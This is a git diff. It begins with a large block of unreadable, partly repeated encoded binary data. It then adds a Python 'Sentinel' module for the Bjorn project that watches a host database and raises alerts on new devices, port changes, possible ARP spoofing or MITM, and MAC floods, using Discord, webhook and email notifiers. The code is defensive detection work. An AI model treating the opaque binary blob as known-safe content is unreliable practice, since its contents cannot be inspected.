z8ZQz`Y1B*=mWs*Jfc+YErdlm!vNR%bvJ_Er`HYCDKqvP=H+N=ioE#P?gd&s=V=x!v zL0}oIf;bqL4Pq-xLafgcdN_{WvGe0s%DU_G&wbt9(;0+xm?7uT5H3RsF%gJ`av@L! zIiDxz^D&sO7KuS`;}a=y{z1VmZoUp_Tqa^DzOa6kh=gl_HS> zhGlGsN2ZX&BO<(g{l_}{jB)UDbOaA_z&Bn5FK<#%aG0A%fP;&_gEK&k^a~`16Zlky z92RM0h*~OBNW`d6fPym3#R6884`F;r&SRqxOU;R$R{*p9oiLT+$&U{owZXHoT2`7< zOD6k{vCWgxF)m%oWq=q)KmgA_u|&q<&>|ut z{rm!4T%1PR`MJ172ZwSBcnky5V{$EusH751Dn>;DP!3)i%rmoc@pk2L z#B9bmC3Sv|&~?P{me$rsG*3=ED=WUN-oACK^C%lVD@q5mB*0f52jN2q3;|G7z(at9 zJXFX>g#Z-BKs7}|l~|&ZNI=E42%?vxNua-~l}Q+az`R6_O0Q7p6mqQ`)yfeqD$~f# zLJ>78Q^>@aM1+V04{%{Vz(oWAlq=&x5*E2(ykH^{Uhdk_BA#0wbiurO0ACtgJ zsR;P0l!;Ylw}5jx1)6AP<g7HAH=YkRV5YTpdwf)6ljDz zH4e%sNnpO$m>A(;DvvmKEop%x?{AdJDZhYG+51p!={hzA64 z0V@z-1p@t5Z4Oj0FeRxll|%qhiNN4^C2lRC)XR~0JOdcKq&g7opluMbN+L3Y!fG*3 zE#j$QC=H>!+n_I!M?2cvf3Wp~=Q8#ASuMriy?Zw=GsEA(t}F%3(uichS^=1LAQ_O5 zi?fOWE3A;<*5d9WV$ff83Tc880lorOE{z0O0eXTNRF6r4baIJBT12ctKum~K5}{fI z)?$2xkgF1smK$^(6ZwuKt;%Q5zIXrLGj>x@XUq2dF>JZ+!nt!0ixuK(KRH2?pcKl0 zy8?VPMul7i@3OeB3W@LmD{ie+i%H`ZvLv+}u<~eRGb>m>;HLhGRfmYQh)9D7)KY;) z#McVA8Xmp5M82{@?dxcbsns`cKI=U5kQ0A>QC4v2*I(_9iXa5KI^^nPDJmHzU}K=a z3c2{+>?RW2p6ekum;2}D$+}#JRPs4EO~;O;X2BCa&d8YH~!Q9r#;wzN*lZ)R?A(! z_~LUql^W*lRFo(#Oq8j>3Rb{YfKDvrDusNdh^LfrfpaP$#34Oo#Rntcr9dYYXk~nr zjIS26rsc}!%}G{s!u?%c=67^h3V-3yebfT4j@43^GpA3dB`5j0+NViKGjq{Y75M1R zRtk6u0ay}nHDVrM(ulb1I6^!I`mPYClnH^F(!JudBO0g zvM-rQz{CQEAuR#} zN=yVP1dQAyxPE$KnvCK+#x`E7K63{A4*OMZe*>$fdLMuG36V_pcC;=)>kuK3O3afB8A&Qu#bm6!5RD9U3Gnrq*WUW%U+=tF3;b=YpgO;v z`>k~53>SL`lE3o=Eqh9;ECuDJ$e?6|$BB!;Sy4D%0TpM<=1f49e1e<(C^+J0|WOz{pV+5sch_M8)k%0zJgb%5@brb+}N-bxgbADHaT0Wf@8d$ zM~C?NEb4r%r{^i(7yqgH&-M0iV|~09{kQwqzw$=Aif(aze}!6x`if z?212gPVch|$AMqC?+2X$;GWCY2G$0)y#fAdDFu!A&&Lg|wVZQ|5!?z=N`N2)R!LfG zB~>vgrk3720aOCpg-B=1qnBtcL!-*wSy(c#H9$Rpyh$9O&vkxD?lc*B@yA>)ns(I)1#X8)W{z3tR#cxWJJ^D|!yE?K!r- z=fsxYGoSSR{%wEv*?axngM;^9jQfRH@7_3n^URK(V{cqPw5$g}9D2Ry;PM{4YAYXV zRrjHlH;%69JN`!Rv9;ZYR^2$Vx(Dd6S%+5l{BMB_H;=9D`*AJE(0y=a&mnU;pahTr zZx1XtHxjtfvhHJV-8}p0-CLJl0QdP>2M6x-{IsEa|H2*sdSulNQ2iro@I9_ok97Cc zTUWk&{m1R?zwTai`{%cA9e<duL`z$rY#1DP8J6pl9!K!3gahXp;SKYD?fety;=(1ULL(tCPa&(Sx#4}+#(cH{8! z8^BatD{mZL)q7+$aA;k_BqS(?7fR&$5h^m2zwTMmfAY;+$8e`_9mg#M>OHpR_Q^Mo zemHlMTnPCRxWTdN2;xVJXZQc~Cf;~>d#vm}u&f8@Aa3n-@b>6iy=OnVd+Xx=iLaKM z3=R(5>$`O4+KIm3_uV@C@y(N4Zv40oH~7$sd#BdE(=vq_7}dG_tsMuBt$6QaDI+-( z;-BBsb?v~4KlXK<`)bMgua^A2Zz-_(#}DVC1e#tle%LQP`mZXOQwP5O zf#wn^A*8TeVVZp;XKaMfI|d75D?%Yv7*|W+X(M@HuOaZ1VUQw}gN3jJp3xj<0?i?s z=Zy%%btCSSSe#BPqivY649Y#ni`e6k$v>n57DXMBcHn z)?Sg;UK8~>O*87q&Y}FkcnzygNw0)_kqA4li3xe-`O|0RPg^nn_3mre|J2M+e*5ZJ z!F`T=cTf;TmHLr#=txp5Fpmy^lwo85rwAouAtW@IC<~0`dxQ%-Bf!XohQ!H3Nqnye zs(nBfijKre2<@fb*z22`tp@2BJb!-iWp!4K4ln16%ItzM9{z<3nj|};+PJB4Es>p=wP-} zuq-f68BT`1LB)egFm-)ienU=vU24`eOl!)?ZOqMU%*!u9Rh7wUjRgf$QDseXT6120 zQ*Pdz_>}1iCEGQiqp}{*3_jbc>V;X&#b3R2b$!?B1+|SIZ~EYa^_!Su!!pStc`(sz zCq)@fRYlMg;Z(7IED}VN_{Wj$0wlila^2KviV2WwEM-ifGypgqM{^2RM6&0W&RSeq zyZC6drtdyK$ZR*lGQ+aAWNGz_dUQ}7RxUzDpHks=NBAk5a`vbUn z&oElOFze9J^()tMumpxzoG4sNbD^+3B4obgq*zFf$0|u4inA&rs4SPT$Pr$2$B;N1 zA7vcVtGO2Q<*nClw0Yvi~&(8`v$Kb%=o&MW->Li0{!OufOpB^7;R~9>luziiWIe&3h-!HH4yI}n47vt_gKjn{X6%aUcc|`+aPiL=GLG3 zKHPux^*v|XYl_ke ziYX33#8IB0=aEMRPm<)e71isaBxo?#m|bJasy1X+8MCVDfup$wqiLO?ZIhv8qoD=h zZZTD_HfB|uvTHz|#yrD#ajw`ux=gEGx6$y)$#MJ6%{zJX!wW-uzy9gn3F+}g$=ZEC zy>otO<Ke1Ea)lVjsMYA08yl&NtHJyp_wtM9Ky{^`iGvEILTZ~dEZqB2>8y9?RR zT}TK-qC>FQFuJFAh?O(dA&fXWDAqQhke|_*TW8FyELBbfp$j;`NMy*YtOG!q)y6r? z4egr^EgOuj8-ePYHvo4HGZuq9b(vM5Rc0oX@w{TEVDiodv-X^?Io|vJ*}I=FSTL)p zvG~Vp+kd|P>Ef=6`ld<8yFWhOyZMu2*~^ztpM@#L^F^>v^ogU#Edlo@zQ^A_jny)g zw>CA|j~*TEHg-JBEacHt(IJcgPl}gY>}XH6d+c~|PV5-}B(kzG$6!dWFl1ELgK*8L zG88n_Rj;ZonQKg)W1QRp>@)&UT<;lM-UTwWZZtG)FcdWz(&p5bcGgv{;04ep3dQxa zCVX;Y>JNW({&IJBx=5NL5}m%Y^N*puCE3YxI_cOS+kU?D@$S=QTfbp;On|Z&EvnC`smn9f&Rk;301;bbs9K44&F1&;psijF5~fxh^dT8G)7+q{|J=BB4J7=b~K!-spDP4yaO>o;JLl_duqOe*jq!AMI8y~Z&fHln8r2tB6%&w~|Y^<$aW6Z8Ily=s(;S*k4nUj;UOA>QS5^|;{<|i}II0v^>t@6f=p1<1p z=*W{;@k}_YuRls>^CM&2?d&`)zS`JCkMf<0jc>@Tt((|Z*Ri?2cs>|?>e@Ep^9kU? z1<1^}7CX&pQ~Ucx*>!2+wlqmcL1qnj`w(;ko&b4TH`g}2Juc6Xn>ITyeNJ9_MPACR zyyRKA$uo0!nR!sAiXip3a`dtqz0y9?HT%M*-10U=bOssEN|}IQJ7s@oczzG*+W3nGr!A9tZ3@oQC_)f z^2D~hjLO`MiqaWfMqq6d7^-la@qO#Y+V=Nq!R%Dj2uAoaRY_&yj2w27&+svz)g!z- z5~Qs1G=%7AJ7s*~z!R6mPh&lI_AD)u07XR$DP(qJr1$7CE+d9B10$PqjbLH{^Qdvk zd;`w92~3~nLDg(3u(o9*+m}JL58=4RQ0+shuHj0KE&(nxmELJ8A8MS1E1p-5(v>v# zD7sSweOn`jquf0(1`CdfiS+RXVGQP+iD+(9j?s`>VVu6u zFn3E$^Tz7tjUe_~7VT{7`n0L@qsG^ENa7Ufk}T82){4X#6C}AZUmC-iUZC7iHR%_i zak{M>51u@bISDD4lRVQjxn0lE%P5+rMIVF9TbF#&+_}@x@sFyejn#m-eUo8g8@@zI zuL7TaB|*%QR#vW#_F6G_QnDhG6&r3lV)@d=kHYo;nRps2xM*5op1-xNiq4dfNX*E{ z0B2{{5yK==%%;40V|ul5_Oja6O)ZN)>RS87f(08IsuvmN%x^MwEnK>zD6LFPLcyGB zn6{vPTvJooqA3Z}l>`yXjmdF`w6W;)v>8pMou;BjLs_S>=^ZGXlb1AQ!J@4VHH!_i z=QY%Jz1F#D$=WX)U)x^Oy3sU!p((Yx9!%cp6(ROMw!?;TV+h$Av{)y@LcGcDPMbI2 z%fu&aPh_>M5gTWh`wSl;h=^1$nS3%SHZ%k*5JMcD%E9Ng(k?^&`Xz6C(PUhlE=|l) zrcBA5T3%8!C3jjnk|v9W>E6UyRjZBjJ}}g*sjpep+_9yh>7Cq!l5y!X8k^s3>ey_m zTv=DQwtm63>1Ca5r#?N0y&r=EdzzM(e6+M44ZfRafVo5`b)BK>?_ zh7Xg(a!n0yFM9LKDLJJWL%!n8&$fTnd$f1x@P$hse*MF`4|aWe@RyPav(hw^mb|^M zs%b-Q^JWl}&25`n8s2F&tpnV(9sj6l*<97Uq3i8^D5THL7{B$aBkMohz4M!c$F6km zzdHDjFRpcVy(f-_D`qszTlKl2W^F@`A;dkvWwf1w%Sls+rzLA8A%2R8K!_0f-8cJQ zn)Qv&g%Nh6g&{$_zyLLau4FL~CN0>-$z#OGjMS-fD!Z6oytlWV*|KA3_3FW{rF*21 zFnY8f*(oF^Ik$7kI}m}saPfvkYj>~SvcF~S+wq*l5`Fn3O=+?q?X_jwS8Vup>AF2l zjmzl%#Kxv&384J#D%vZ5d9js51 zr70LlJWsJ<>)wvm)s*0By<|ExhC+-h5G%OCba?sPIa1c4jYHY|bmxvMWtJZ&1-?&g5 z!{-wiv&)Q!uJ#?gcKdMmo$tPxC<7o?Py;SXf*~rxe2mzLZcvg3>0eZ zyzGtle;XS5=9eKYZxSoWC)UTE9T}})v*dJI5|7XH^@BqL3x#AoEh0&)0uNzcg4J^A z?c4nt8d(z^oXjMPBg11n-2|~wN)}DQBqhTv9hb%@(mIyDaq9lijACP$l}q?Aw@7Qx zESWxCqzSPa+c9_buR}w-PhI@y(X&Ty4jsHYxc}17{!4?0t_~f(KD6_P6T44c{&ire zw74qV#wA~ooWzxf4s#_8_aF@OY@fSk+c)2*CN=> zlgC8P)bfyMzX?V8PX+~NpEx#w^I#|ji;-z*sqz5tY&JzriDd=*hdYnO7!(bQs^_q> z5TS-ib8~dcoif8zza-MuJ8Zbyl$65Wo*P#$Ud|F~m#y7)?AFlX?xCYMh7MdAJalE~ zz~!NXmj@4A8UzV&@X)oP<9$OW)1s+q1-E){oj-dn1y)83_XxN3WW>;X{Q_LAt)b8` z4UL%s!8#@{SuBh5^^J0IMdD&qq-axygcIOutgErq_6fw#zzVLO-%!tWbIygRaxy{7 zq|yTYLfu_d5Hm&0O%<|8eqPc3LBy~yOs1fDMSo{Z?}vS#(FSH!yU?RCU4qYAkcB_&41q-c3; zazs$Hzh?@MjSyp_eSLKzQG!$|XG6@e$PgRn$T6N%)5f*ezqaGs!#~}|jRZmaFI_aJ zFAn}-76|5_ZVjCt7+SOGvs_&UCPkdAZNO)$aCdhol7KPjS`IHB;-`otIxZaL;Su5C zj?k%KvX@gRX@aP_3_-ZN)2>}#zBDT+0Bn1AeG%zkSICS>q>~j4ih|43z#M)|RGg1j zkfS|6Ha1x<*9k@Ouvo=`sKG%be}5_=uH4l6#?CLde}8KK<@?8P4gJ(NbmI2V$vZLd*95$HgWi)cWEM}UL8WZI6>u+FCc*^#)7`9yg^NAC2fdR>JAz5s)oIzGV zOclh|a3ML99_Hl{=;A78u~QHf^dvcrfl#RvQj${T2q!Aa%ii8+th11h6pXK#Rk^&v zu%^PathVJXQ`^Ss#x>LCw8f`nMFa%dkFs;Hw(+&Mrv!(>Br3*-6J&BF#8-3SR4Jn6 zKyjX4L1UeSM3N2`s3AzrVXHYzDUDRDB4=>IVK(E=-8)YqefrpBDd5WG%VL2*668@R zpvdS%46t(8Dh^A<8g-Tu%TlY^kx|h;eo;O?;a*;T zW1U>AZS1V9Y^|)uSXqr7G0b)JC_fkHI6q%rR5Y7FfMQ}%4wQsqX-aL5E-?kc5IRdj zp+$Lm0Xs1cq%nhPxEwW?qk+K86I+qQ6vhPP81gor>_mk2j^b~r&wq4Q%&8i6QBAD^R(&(`TPRLT?u z8ZQz`Y1B*=mWs*Jfc+YErdlm!vNR%bvJ_Er`HYCDKqvP=H+N=ioE#P?gd&s=V=x!v zL0}oIf;bqL4Pq-xLafgcdN_{WvGe0s%DU_G&wbt9(;0+xm?7uT5H3RsF%gJ`av@L! zIiDxz^D&sO7KuS`;}a=y{z1VmZoUp_Tqa^DzOa6kh=gl_HS> zhGlGsN2ZX&BO<(g{l_}{jB)UDbOaA_z&Bn5FK<#%aG0A%fP;&_gEK&k^a~`16Zlky z92RM0h*~OBNW`d6fPym3#R6884`F;r&SRqxOU;R$R{*p9oiLT+$&U{owZXHoT2`7< zOD6k{vCWgxF)m%oWq=q)KmgA_u|&q<&>|ut z{rm!4T%1PR`MJ172ZwSBcnky5V{$EusH751Dn>;DP!3)i%rmoc@pk2L z#B9bmC3Sv|&~?P{me$rsG*3=ED=WUN-oACK^C%lVD@q5mB*0f52jN2q3;|G7z(at9 zJXFX>g#Z-BKs7}|l~|&ZNI=E42%?vxNua-~l}Q+az`R6_O0Q7p6mqQ`)yfeqD$~f# zLJ>78Q^>@aM1+V04{%{Vz(oWAlq=&x5*E2(ykH^{Uhdk_BA#0wbiurO0ACtgJ zsR;P0l!;Ylw}5jx1)6AP<g7HAH=YkRV5YTpdwf)6ljDz zH4e%sNnpO$m>A(;DvvmKEop%x?{AdJDZhYG+51p!={hzA64 z0V@z-1p@t5Z4Oj0FeRxll|%qhiNN4^C2lRC)XR~0JOdcKq&g7opluMbN+L3Y!fG*3 zE#j$QC=H>!+n_I!M?2cvf3Wp~=Q8#ASuMriy?Zw=GsEA(t}F%3(uichS^=1LAQ_O5 zi?fOWE3A;<*5d9WV$ff83Tc880lorOE{z0O0eXTNRF6r4baIJBT12ctKum~K5}{fI z)?$2xkgF1smK$^(6ZwuKt;%Q5zIXrLGj>x@XUq2dF>JZ+!nt!0ixuK(KRH2?pcKl0 zy8?VPMul7i@3OeB3W@LmD{ie+i%H`ZvLv+}u<~eRGb>m>;HLhGRfmYQh)9D7)KY;) z#McVA8Xmp5M82{@?dxcbsns`cKI=U5kQ0A>QC4v2*I(_9iXa5KI^^nPDJmHzU}K=a z3c2{+>?RW2p6ekum;2}D$+}#JRPs4EO~;O;X2BCa&d8YH~!Q9r#;wzN*lZ)R?A(! z_~LUql^W*lRFo(#Oq8j>3Rb{YfKDvrDusNdh^LfrfpaP$#34Oo#Rntcr9dYYXk~nr zjIS26rsc}!%}G{s!u?%c=67^h3V-3yebfT4j@43^GpA3dB`5j0+NViKGjq{Y75M1R zRtk6u0ay}nHDVrM(ulb1I6^!I`mPYClnH^F(!JudBO0g zvM-rQz{CQEAuR#} zN=yVP1dQAyxPE$KnvCK+#x`E7K63{A4*OMZe*>$fdLMuG36V_pcC;=)>kuK3O3afB8A&Qu#bm6!5RD9U3Gnrq*WUW%U+=tF3;b=YpgO;v z`>k~53>SL`lE3o=Eqh9;ECuDJ$e?6|$BB!;Sy4D%0TpM<=1f49e1e<(C^+J0|WOz{pV+5sch_M8)k%0zJgb%5@brb+}N-bxgbADHaT0Wf@8d$ zM~C?NEb4r%r{^i(7yqgH&-M0iV|~09{kQwqzw$=Aif(aze}!6x` bool: + return bool(getattr(self.shared_data, 'sentinel_enabled', False)) + + @property + def interval(self) -> int: + return max(10, int(getattr(self.shared_data, 'sentinel_interval', 30))) + + def start(self): + if self._running: + return + if not self.enabled: + logger.info("Sentinel is disabled in config, not starting.") + return + self._stop_event.clear() + self._running = True + self._thread = threading.Thread( + target=self._loop, name="Sentinel", daemon=True + ) + self._thread.start() + logger.info("Sentinel engine started (interval=%ds)", self.interval) + + def stop(self): + if not self._running: + return + self._stop_event.set() + self._running = False + if self._thread: + self._thread.join(timeout=10) + self._thread = None + logger.info("Sentinel engine stopped.") + + def register_notifier(self, name: str, notifier): + """Register a notification dispatcher (discord, email, webhook, etc.).""" + self._notifiers[name] = notifier + + # ── Main loop ─────────────────────────────────────────────────────── + + def _loop(self): + # Give Bjorn a moment to start up + self._stop_event.wait(5) + + while not self._stop_event.is_set(): + try: + if not self.enabled: + self._stop_event.wait(30) + continue + + # Resource-friendly: skip if orchestrator is busy with actions + running_count = self._count_running_actions() + if running_count > 2: + logger.debug("Sentinel yielding — %d actions running", running_count) + self._stop_event.wait(min(self.interval, 15)) + continue + + self._run_checks() + + except Exception as e: + logger.error("Sentinel loop error: %s", e) + + self._stop_event.wait(self.interval) + + def _count_running_actions(self) -> int: + try: + rows = self.db.query( + "SELECT COUNT(*) AS c FROM action_queue WHERE status = 'running'" + ) + return int(rows[0].get("c", 0)) if rows else 0 + except Exception: + return 0 + + # ── Detection engine ──────────────────────────────────────────────── + + def _run_checks(self): + """Execute all detection modules against current DB state.""" + try: + hosts = self.db.query("SELECT * FROM hosts") or [] + except Exception as e: + logger.debug("Sentinel can't read hosts: %s", e) + return + + current_macs = set() + current_alive = set() + current_ports: Dict[str, str] = {} + + for h in hosts: + mac = (h.get("mac_address") or "").lower() + if not mac: + continue + current_macs.add(mac) + if h.get("alive"): + current_alive.add(mac) + current_ports[mac] = h.get("ports") or "" + + if not self._initialized: + # First run: snapshot state without firing alerts + self._known_macs = set(current_macs) + self._alive_macs = set(current_alive) + self._port_snapshot = dict(current_ports) + self._build_arp_cache(hosts) + self._initialized = True + logger.info("Sentinel initialized with %d known devices", len(self._known_macs)) + return + + # 1) New device detection + new_macs = current_macs - self._known_macs + for mac in new_macs: + host = next((h for h in hosts if (h.get("mac_address") or "").lower() == mac), {}) + ip = (host.get("ips") or "").split(";")[0] + hostname = (host.get("hostnames") or "").split(";")[0] or "Unknown" + vendor = host.get("vendor") or "Unknown" + self._fire_event( + "new_device", SEV_WARNING, + f"New device: {hostname} ({vendor})", + f"MAC: {mac} | IP: {ip} | Vendor: {vendor}", + mac=mac, ip=ip, + meta={"hostname": hostname, "vendor": vendor} + ) + + # 2) Device join (came online) + joined = current_alive - self._alive_macs + for mac in joined: + if mac in new_macs: + continue # Already reported as new + host = next((h for h in hosts if (h.get("mac_address") or "").lower() == mac), {}) + ip = (host.get("ips") or "").split(";")[0] + hostname = (host.get("hostnames") or "").split(";")[0] or mac + self._fire_event( + "device_join", SEV_INFO, + f"Device online: {hostname}", + f"MAC: {mac} | IP: {ip}", + mac=mac, ip=ip + ) + + # 3) Device leave (went offline) + left = self._alive_macs - current_alive + for mac in left: + host = next((h for h in hosts if (h.get("mac_address") or "").lower() == mac), {}) + hostname = (host.get("hostnames") or "").split(";")[0] or mac + self._fire_event( + "device_leave", SEV_INFO, + f"Device offline: {hostname}", + f"MAC: {mac}", + mac=mac + ) + + # 4) Port changes on known hosts + for mac in current_macs & self._known_macs: + old_ports = self._port_snapshot.get(mac, "") + new_ports = current_ports.get(mac, "") + if old_ports != new_ports and old_ports and new_ports: + old_set = set(old_ports.split(";")) if old_ports else set() + new_set = set(new_ports.split(";")) if new_ports else set() + opened = new_set - old_set + closed = old_set - new_set + if opened or closed: + host = next((h for h in hosts if (h.get("mac_address") or "").lower() == mac), {}) + hostname = (host.get("hostnames") or "").split(";")[0] or mac + parts = [] + if opened: + parts.append(f"Opened: {', '.join(sorted(opened))}") + if closed: + parts.append(f"Closed: {', '.join(sorted(closed))}") + self._fire_event( + "port_change", SEV_WARNING, + f"Port change on {hostname}", + " | ".join(parts), + mac=mac, + meta={"opened": list(opened), "closed": list(closed)} + ) + + # 5) ARP spoofing detection + self._check_arp_spoofing(hosts) + + # 6) MAC flood detection + if len(new_macs) >= 5: + self._fire_event( + "mac_flood", SEV_CRITICAL, + f"MAC flood: {len(new_macs)} new devices in one cycle", + f"MACs: {', '.join(list(new_macs)[:10])}", + meta={"count": len(new_macs), "macs": list(new_macs)[:20]} + ) + + # Update state snapshots + self._known_macs = current_macs + self._alive_macs = current_alive + self._port_snapshot = current_ports + + def _build_arp_cache(self, hosts: List[Dict]): + """Build initial ARP cache from host data.""" + self._arp_cache = {} + for h in hosts: + mac = (h.get("mac_address") or "").lower() + ips = (h.get("ips") or "").split(";") + for ip in ips: + ip = ip.strip() + if ip: + self._arp_cache[ip] = mac + try: + self.db._base.execute( + """INSERT INTO sentinel_arp_cache (mac_address, ip_address) + VALUES (?, ?) + ON CONFLICT(mac_address, ip_address) + DO UPDATE SET last_seen = CURRENT_TIMESTAMP""", + (mac, ip) + ) + except Exception: + pass + + def _check_arp_spoofing(self, hosts: List[Dict]): + """Detect IP claimed by different MAC than previously seen.""" + for h in hosts: + mac = (h.get("mac_address") or "").lower() + if not mac or not h.get("alive"): + continue + ips = (h.get("ips") or "").split(";") + for ip in ips: + ip = ip.strip() + if not ip: + continue + prev_mac = self._arp_cache.get(ip) + if prev_mac and prev_mac != mac: + hostname = (h.get("hostnames") or "").split(";")[0] or mac + self._fire_event( + "arp_spoof", SEV_CRITICAL, + f"ARP Spoof: {ip} changed from {prev_mac} to {mac}", + f"IP {ip} was bound to {prev_mac}, now claimed by {mac} ({hostname}). " + f"Possible ARP spoofing / MITM attack.", + mac=mac, ip=ip, + meta={"old_mac": prev_mac, "new_mac": mac} + ) + self._arp_cache[ip] = mac + try: + self.db._base.execute( + """INSERT INTO sentinel_arp_cache (mac_address, ip_address) + VALUES (?, ?) + ON CONFLICT(mac_address, ip_address) + DO UPDATE SET last_seen = CURRENT_TIMESTAMP""", + (mac, ip) + ) + except Exception: + pass + + # ── Event firing & rule engine ────────────────────────────────────── + + def _fire_event(self, event_type: str, severity: str, title: str, + details: str = "", mac: str = "", ip: str = "", + meta: Optional[Dict] = None): + """Check rules, store event, dispatch notifications.""" + try: + # Check if any enabled rule matches + rules = self.db.query( + "SELECT * FROM sentinel_rules WHERE enabled = 1 AND trigger_type = ?", + (event_type,) + ) or [] + + if not rules: + # No rules for this event type — still log but don't notify + self._store_event(event_type, severity, title, details, mac, ip, meta) + return + + for rule in rules: + # Check cooldown + last_fired = rule.get("last_fired") + cooldown = int(rule.get("cooldown_s", 60)) + if last_fired and cooldown > 0: + try: + lf = datetime.fromisoformat(last_fired) + if datetime.now() - lf < timedelta(seconds=cooldown): + continue + except Exception: + pass + + # Check conditions (AND/OR logic) + conditions = rule.get("conditions", "{}") + if isinstance(conditions, str): + try: + conditions = json.loads(conditions) + except Exception: + conditions = {} + logic = rule.get("logic", "AND") + if conditions and not self._evaluate_conditions(conditions, logic, + mac=mac, ip=ip, meta=meta): + continue + + # Store event + self._store_event(event_type, severity, title, details, mac, ip, meta) + + # Update rule last_fired + try: + self.db.execute( + "UPDATE sentinel_rules SET last_fired = CURRENT_TIMESTAMP WHERE id = ?", + (rule.get("id"),) + ) + except Exception: + pass + + # Dispatch notifications + actions = rule.get("actions", '["notify_web"]') + if isinstance(actions, str): + try: + actions = json.loads(actions) + except Exception: + actions = ["notify_web"] + + self._dispatch_notifications(actions, event_type, severity, + title, details, mac, ip, meta) + break # Only fire once per event type per cycle + + except Exception as e: + logger.error("Error firing event %s: %s", event_type, e) + + def _store_event(self, event_type, severity, title, details, mac, ip, meta): + try: + self.db.execute( + """INSERT INTO sentinel_events + (event_type, severity, title, details, mac_address, ip_address, meta_json) + VALUES (?, ?, ?, ?, ?, ?, ?)""", + (event_type, severity, title, details, mac, ip, + json.dumps(meta or {})) + ) + except Exception as e: + logger.error("Failed to store sentinel event: %s", e) + + def _evaluate_conditions(self, conditions: Dict, logic: str, + mac: str = "", ip: str = "", + meta: Optional[Dict] = None) -> bool: + """ + Evaluate rule conditions with AND/OR logic. + Conditions format: {"mac_contains": "aa:bb", "ip_range": "192.168.1."} + """ + if not conditions: + return True + + results = [] + meta = meta or {} + + for key, value in conditions.items(): + if key == "mac_contains": + results.append(value.lower() in mac.lower()) + elif key == "mac_not_contains": + results.append(value.lower() not in mac.lower()) + elif key == "ip_prefix": + results.append(ip.startswith(value)) + elif key == "ip_not_prefix": + results.append(not ip.startswith(value)) + elif key == "vendor_contains": + results.append(value.lower() in (meta.get("vendor", "")).lower()) + elif key == "min_new_devices": + results.append(int(meta.get("count", 0)) >= int(value)) + elif key == "trusted_only": + # Check if MAC is trusted in sentinel_devices + dev = self.db.query_one( + "SELECT trusted FROM sentinel_devices WHERE mac_address = ?", (mac,) + ) + is_trusted = bool(dev and dev.get("trusted")) + results.append(is_trusted if value else not is_trusted) + else: + results.append(True) # Unknown condition → pass + + if not results: + return True + return all(results) if logic == "AND" else any(results) + + def _dispatch_notifications(self, actions: List[str], event_type: str, + severity: str, title: str, details: str, + mac: str, ip: str, meta: Optional[Dict]): + """Dispatch to registered notifiers.""" + payload = { + "event_type": event_type, + "severity": severity, + "title": title, + "details": details, + "mac": mac, + "ip": ip, + "meta": meta or {}, + "timestamp": datetime.now().isoformat(), + } + + for action in actions: + if action == "notify_web": + # Web notification is automatic via polling — no extra action needed + continue + notifier = self._notifiers.get(action) + if notifier: + try: + notifier.send(payload) + except Exception as e: + logger.error("Notifier %s failed: %s", action, e) + else: + logger.debug("No notifier registered for action: %s", action) + + # ── Public query API (for web_utils) ──────────────────────────────── + + def get_status(self) -> Dict: + unread = 0 + total_events = 0 + try: + row = self.db.query_one( + "SELECT COUNT(*) AS c FROM sentinel_events WHERE acknowledged = 0" + ) + unread = int(row.get("c", 0)) if row else 0 + row2 = self.db.query_one("SELECT COUNT(*) AS c FROM sentinel_events") + total_events = int(row2.get("c", 0)) if row2 else 0 + except Exception: + pass + + return { + "enabled": self.enabled, + "running": self._running, + "initialized": self._initialized, + "known_devices": len(self._known_macs), + "alive_devices": len(self._alive_macs), + "unread_alerts": unread, + "total_events": total_events, + "interval": self.interval, + "check_count": 0, + } + + +# ── Notification Dispatchers ──────────────────────────────────────────── + +class DiscordNotifier: + """Send alerts to a Discord channel via webhook.""" + + def __init__(self, webhook_url: str): + self.webhook_url = webhook_url + + def send(self, payload: Dict): + import urllib.request + severity_colors = { + "info": 0x00FF9A, + "warning": 0xFFD166, + "critical": 0xFF3B3B, + } + color = severity_colors.get(payload.get("severity", "info"), 0x00FF9A) + severity_emoji = {"info": "\u2139\uFE0F", "warning": "\u26A0\uFE0F", "critical": "\uD83D\uDEA8"} + emoji = severity_emoji.get(payload.get("severity", "info"), "\u2139\uFE0F") + + embed = { + "title": f"{emoji} {payload.get('title', 'Sentinel Alert')}", + "description": payload.get("details", ""), + "color": color, + "fields": [], + "footer": {"text": f"Bjorn Sentinel \u2022 {payload.get('timestamp', '')}"}, + } + if payload.get("mac"): + embed["fields"].append({"name": "MAC", "value": payload["mac"], "inline": True}) + if payload.get("ip"): + embed["fields"].append({"name": "IP", "value": payload["ip"], "inline": True}) + embed["fields"].append({ + "name": "Type", "value": payload.get("event_type", "unknown"), "inline": True + }) + + body = json.dumps({"embeds": [embed]}).encode("utf-8") + req = urllib.request.Request( + self.webhook_url, + data=body, + headers={"Content-Type": "application/json", "User-Agent": "Bjorn-Sentinel/1.0"}, + ) + try: + urllib.request.urlopen(req, timeout=10) + except Exception as e: + logger.error("Discord notification failed: %s", e) + + +class WebhookNotifier: + """Send alerts to a generic HTTP webhook (POST JSON).""" + + def __init__(self, url: str, headers: Optional[Dict] = None): + self.url = url + self.headers = headers or {} + + def send(self, payload: Dict): + import urllib.request + body = json.dumps(payload).encode("utf-8") + hdrs = {"Content-Type": "application/json", "User-Agent": "Bjorn-Sentinel/1.0"} + hdrs.update(self.headers) + req = urllib.request.Request(self.url, data=body, headers=hdrs) + try: + urllib.request.urlopen(req, timeout=10) + except Exception as e: + logger.error("Webhook notification failed: %s", e) + + +class EmailNotifier: + """Send alerts via SMTP email.""" + + def __init__(self, smtp_host: str, smtp_port: int, username: str, + password: str, from_addr: str, to_addrs: List[str], + use_tls: bool = True): + self.smtp_host = smtp_host + self.smtp_port = smtp_port + self.username = username + self.password = password + self.from_addr = from_addr + self.to_addrs = to_addrs + self.use_tls = use_tls + + def send(self, payload: Dict): + import smtplib + from email.mime.text import MIMEText + + severity = payload.get("severity", "info").upper() + subject = f"[Bjorn Sentinel][{severity}] {payload.get('title', 'Alert')}" + body = ( + f"Event: {payload.get('event_type', 'unknown')}\n" + f"Severity: {severity}\n" + f"Title: {payload.get('title', '')}\n" + f"Details: {payload.get('details', '')}\n" + f"MAC: {payload.get('mac', 'N/A')}\n" + f"IP: {payload.get('ip', 'N/A')}\n" + f"Time: {payload.get('timestamp', '')}\n" + ) + + msg = MIMEText(body, "plain") + msg["Subject"] = subject + msg["From"] = self.from_addr + msg["To"] = ", ".join(self.to_addrs) + + try: + server = smtplib.SMTP(self.smtp_host, self.smtp_port, timeout=15) + if self.use_tls: + server.starttls() + if self.username: + server.login(self.username, self.password) + server.sendmail(self.from_addr, self.to_addrs, msg.as_string()) + server.quit() + except Exception as e: + logger.error("Email notification failed: %s", e) diff --git a/shared.py b/shared.py index 99b2fe8..401205a 100644 --- a/shared.py +++ 